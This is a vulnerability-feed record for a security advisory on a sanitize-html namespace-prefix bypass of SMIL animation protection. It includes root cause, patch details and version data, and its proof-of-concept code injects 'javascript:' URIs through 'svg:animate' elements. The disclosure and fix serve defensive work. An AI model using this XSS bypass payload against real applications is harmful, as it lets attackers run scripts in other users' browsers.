{"schema":"threatline.record/2","record":{"id":"CVE-2026-113657","aliases":["GHSA-374f-7chj-9948"],"summary":"ApostropheCMS sanitize-html: SMIL animation namespace-prefix bypass allows javascript: URI injection (XSS)","details":"## Summary\n\nsanitize-html 2.17.7 introduced `animatesUrlAttribute()` to block SVG animation elements (`animate`, `animateColor`, `animateMotion`, `animateTransform`, `set`) when their `attributeName` targets a URL sink like `href`. However, this check is bypassed when the animation element uses a namespace prefix (e.g., `svg:animate` instead of `animate`).\n\n## Root Cause\n\nThe `animatesUrlAttribute` function (index.js, line ~832) checks `svgAnimationTags.indexOf(name.toLowerCase())`, where `svgAnimationTags` contains bare local names: `[\"animate\", \"animatecolor\", \"animatemotion\", \"animatetransform\", \"set\"]`. htmlparser2 passes namespace-prefixed tag names verbatim, so `svg:animate` does not match `animate` in the array, causing the function to return `false` and skip the SMIL XSS protection.\n\nIronically, the function already handles namespace prefixes correctly for the `attributeName` target value (line ~843): `const localName = target.slice(target.lastIndexOf(\":\") + 1)` — but this same stripping was not applied to the tag name itself.\n\n## Proof of Concept\n\n```javascript\nconst sanitizeHtml = require(\"sanitize-html\");\n\nconst config = {\n  allowedTags: false,\n  allowedAttributes: false,\n  allowedSchemes: [\"http\", \"https\"]\n};\n\n// Standard animate — BLOCKED by 2.17.7 fix\nconst blocked = sanitizeHtml(\n  `<svg><a href=\"#safe\"><animate attributeName=\"href\" values=\"#safe;javascript:alert(1)\" dur=\".01s\" fill=\"freeze\"/><text>Click</text></a></svg>`,\n  config\n);\nconsole.log(\"Standard animate:\", blocked.includes(\"javascript:\") ? \"BYPASS\" : \"BLOCKED\");\n// Output: BLOCKED\n\n// Namespace-prefixed animate — BYPASSES the fix\nconst bypassed = sanitizeHtml(\n  `<svg><a href=\"#safe\"><svg:animate attributeName=\"href\" values=\"#safe;javascript:alert(document.domain)\" dur=\".01s\" fill=\"freeze\"/><text>Click</text></a></svg>`,\n  config\n);\nconsole.log(\"svg:animate:\", bypassed.includes(\"javascript:\") ? \"BYPASS\" : \"BLOCKED\");\n// Output: BYPASS\n```\n\nAll 5 SMIL animation elements are bypassable with any namespace prefix (`svg:`, `xlink:`, `xml:`, uppercase variants). Tested and confirmed on sanitize-html 2.17.7 from the apostrophe monorepo.\n\n## Impact\n\nCross-site scripting (XSS) via SMIL animation retargeting. When an application uses `allowedTags: false` (common in rich-text editors that want to preserve SVG), an attacker can inject `<svg:animate attributeName=\"href\" values=\"#safe;javascript:...\" .../>` to override the `href` attribute of a parent `<a>` element after the page loads, causing the link to execute JavaScript when clicked.\n\n## Suggested Fix\n\nStrip the namespace prefix from the tag name before the lookup, matching the pattern already used for the attribute name target:\n\n```javascript\n// Before (vulnerable):\nif (svgAnimationTags.indexOf(name.toLowerCase()) === -1) {\n\n// After (fixed):\nconst localTagName = name.toLowerCase().slice(name.lastIndexOf(\":\") + 1);\nif (svgAnimationTags.indexOf(localTagName) === -1) {\n```\n\n## Affected Versions\n\nsanitize-html >= 2.17.7 (where the SMIL animation protection was introduced). Earlier versions lack the SMIL protection entirely.\n\n## Credit\n\nKai Aizen (SnailSploit) — Adversarial AI & Security Research","categories":["Libraries & packages"],"product":"sanitize-html","vendor":"apostrophecms","ecosystem":"npm","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-374f-7chj-9948","source_modified_at":"2026-10-20T18:21:20Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"sanitize-html"},"range":">= 2.17.7, < 2.18.0"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-113657","source_modified_at":"2026-10-20T17:08:06.854Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"apostrophe","vendor":"apostrophecms","versions":[{"version":"< 4.33.0","status":"affected"}],"defaultStatus":null},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-113657","source_modified_at":"2026-10-20T17:08:06.854Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"sanitize-html","vendor":"apostrophecms","versions":[{"version":">= 2.17.7, < 2.18.0","status":"affected"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-374f-7chj-9948","source_modified_at":"2026-10-20T18:30:03.591034807Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"sanitize-html","purl":"pkg:npm/sanitize-html"},"ranges":[{"events":[{"introduced":"2.17.7"},{"fixed":"2.18.0"}],"type":"SEMVER"}],"versions":[]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-374f-7chj-9948","source_modified_at":"2026-10-20T18:21:20Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"sanitize-html"},"version":"2.18.0"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-374f-7chj-9948","source_modified_at":"2026-10-20T18:30:03.591034807Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"sanitize-html","purl":"pkg:npm/sanitize-html"},"version":"2.18.0"}],"cvss":3.7,"severity":"Low","kev":{"listed":false},"epss":{"probability":0.00313,"percentile":0.23003,"score_date":"2026-10-23"},"published_at":"2026-10-20T16:54:12.995Z","modified_at":"2026-10-20T18:30:03.591034807Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-374f-7chj-9948","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-20T18:21:20Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-113657","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-20T17:08:06.854Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-374f-7chj-9948","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-20T18:30:03.591034807Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113657","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-374f-7chj-9948","tags":["exploit"]},{"source":"CVE List","url":"https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/apostrophecms/apostrophe/releases/tag/sanitize-html@2.18.0","tags":["x_refsource_MISC"]},{"url":"https://github.com/advisories/GHSA-374f-7chj-9948","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"no","technical_impact":"partial","assessed_at":"2026-10-20T17:07:42.782981Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-20T18:30:03.591034807Z","content_hash":"602a87737835d121fc75dc951504dbd1b8f4a304bf3f593722a6af01b11b885e"}}
